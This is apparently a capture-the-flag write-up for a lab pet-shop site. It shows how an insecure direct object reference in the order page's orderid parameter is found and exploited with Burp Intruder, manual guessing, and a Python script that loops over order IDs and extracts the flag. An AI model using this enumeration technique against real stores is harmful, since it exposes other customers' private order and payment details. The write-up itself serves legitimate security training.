Hartwood
Hartwood & Co. has been outfitting 'the discerning hound' since 1924. After a century of selling collars and kibble they finally built a website. The dev who built it left a test order in the live database that was never deleted.
Room Description

https://dashboard.webverselabs-pro.com/events/hartwood-and-co
Briefing
Hartwood & Co. has been outfitting "the discerning hound" since 1924. After a century of selling collars and kibble they finally built a website. The build was rushed in time for the Christmas rush. The dev who built it left a test order in the live database to verify the receipt template renders — meant to delete it after launch, never did.
Initial Analysis
We have a cozy little pet shop situation that allegedly has some issues with the orders.

From the navigation bar we have the following endpoints:
<ul class="nav__menu">
<li><a href="/" class="nav__link nav__link--active">Home</a></li>
<li><a href="/products.php" class="nav__link ">Shop</a></li>
<li><a href="/products.php?cat=food" class="nav__link ">Kibble</a></li>
<li><a href="/products.php?cat=toys" class="nav__link ">Toys</a></li>
<li><a href="/products.php?cat=apparel" class="nav__link ">Apparel</a></li>
</ul>
Opening the application, we are presented with what looks like a pretty normal e-commerce site for dog accessories and pet products. The homepage contains a catalogue, product categories, shopping cart functionality, and product pages.
Some observations during enumeration:
- The application is PHP-based:
products.phpproduct.php/product.php?id=HW-001
- There is a shopping cart and checkout workflow.
- No authentication is required anywhere on the site.
Product pages use predictable IDs:

Finding the bug
At this point, the natural thing to do is interact with the store normally:
- Add an item to the cart
- Go through checkout
- Complete an order
- Observe what endpoints become available

Any item will do, we just continue with the flow.

The fields are mandatory to fill out, but you can put in jibberish data, especially the card information.

If you go through the motions a couple of times, you will get different order IDs as well, which would make it easier to find out the range between them. Eitherway, we have our vulnerable parameter.
Exploitation
There are a couple of ways to solve this challenge, honestly, since IDORs are pretty straightforward once you find it, you can just browse through manually, write a script yourself, or just use Burp Intruder
Burp Intruder
Get a wordlist of numbers from let's say 1 to 300 since we know the order ids aren't that large from the order IDs we've gotten.
seq 1 300 > numbers.txt
Load that up in Burp Intruder after we've sent a request from our newest order from the Proxy.

Start the attack, and look for the larger length responses. In Burp Professional you have the option to add conditions to match and what not like grep - match, unfortunately since we aren't on a machine right now that has a Burp Pro license, we're going to do this with python.

Python Script
import requests
import re
BASE = "https://07417d47-3970-hartwood-and-co-f3f0e.events.webverselabs-pro.com/order.php?orderid={}"
for i in range(1, 200):
url = BASE.format(i)
try:
r = requests.get(url, timeout=5)
if "Order #" not in r.text:
continue
print(f"[+] Found order {i}")
if any(x in r.text.lower() for x in [
"dev",
"test",
"internal",
"engineering",
"webverse"
]):
print(f"[!] Interesting order found: {i}")
# Try extracting the flag
m = re.search(r'WEBVERSE\{.*?\}', r.text)
if m:
print(f"[FLAG] {m.group(0)}")
break
except Exception as e:
print(f"[-] Error on {i}: {e}")
We are going to go through all the orders like this, if we have a match for one of our keywords we get output, and if it finds the WEBVERSE flag format, it'll get the entire flag.

Manual way
We put something in our cart, fill out the details and buy it.

See the ?orderid parameter and try out different numbers until you get exhaused to see if you can read other orders. You will get a hit on number 3, and keep going upwards honestly, but at least you know you have an IDOR, I thought that the number would be easy to get, not 120 hahahaha, so I kind of did this until I got tired.
